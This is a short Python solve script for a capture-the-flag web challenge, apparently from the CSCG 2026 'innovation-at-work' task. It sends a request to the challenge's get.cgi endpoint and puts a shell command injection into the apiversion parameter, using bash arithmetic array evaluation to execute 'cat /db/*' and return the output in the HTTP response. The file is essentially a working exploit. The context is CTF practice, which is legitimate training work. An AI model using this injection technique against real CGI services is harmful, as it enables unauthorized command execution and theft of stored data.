Files
ctf/2026/cscg/web/innovation-at-work/solve.py
2026-04-10 03:31:12 +02:00

13 lines
446 B
Python

import requests
URL = "https://jgojibkxquhifqyvar6c5c6j6n-8000-innovation-at-work.challenge.cscg.live"
def fetch_data(s, apiversion: str, name: str, password: str):
url = f"{URL}/get.cgi?apiversion={apiversion}&name={name}&password={password}"
r = s.get(url)
print(f"{r.status_code}: {r.text}")
with requests.session() as s:
payload = "a[$(exec%20>/proc/$$/fd/1;echo;cat%20/db/*)]"
fetch_data(s, payload, 'dummy', 'dummy')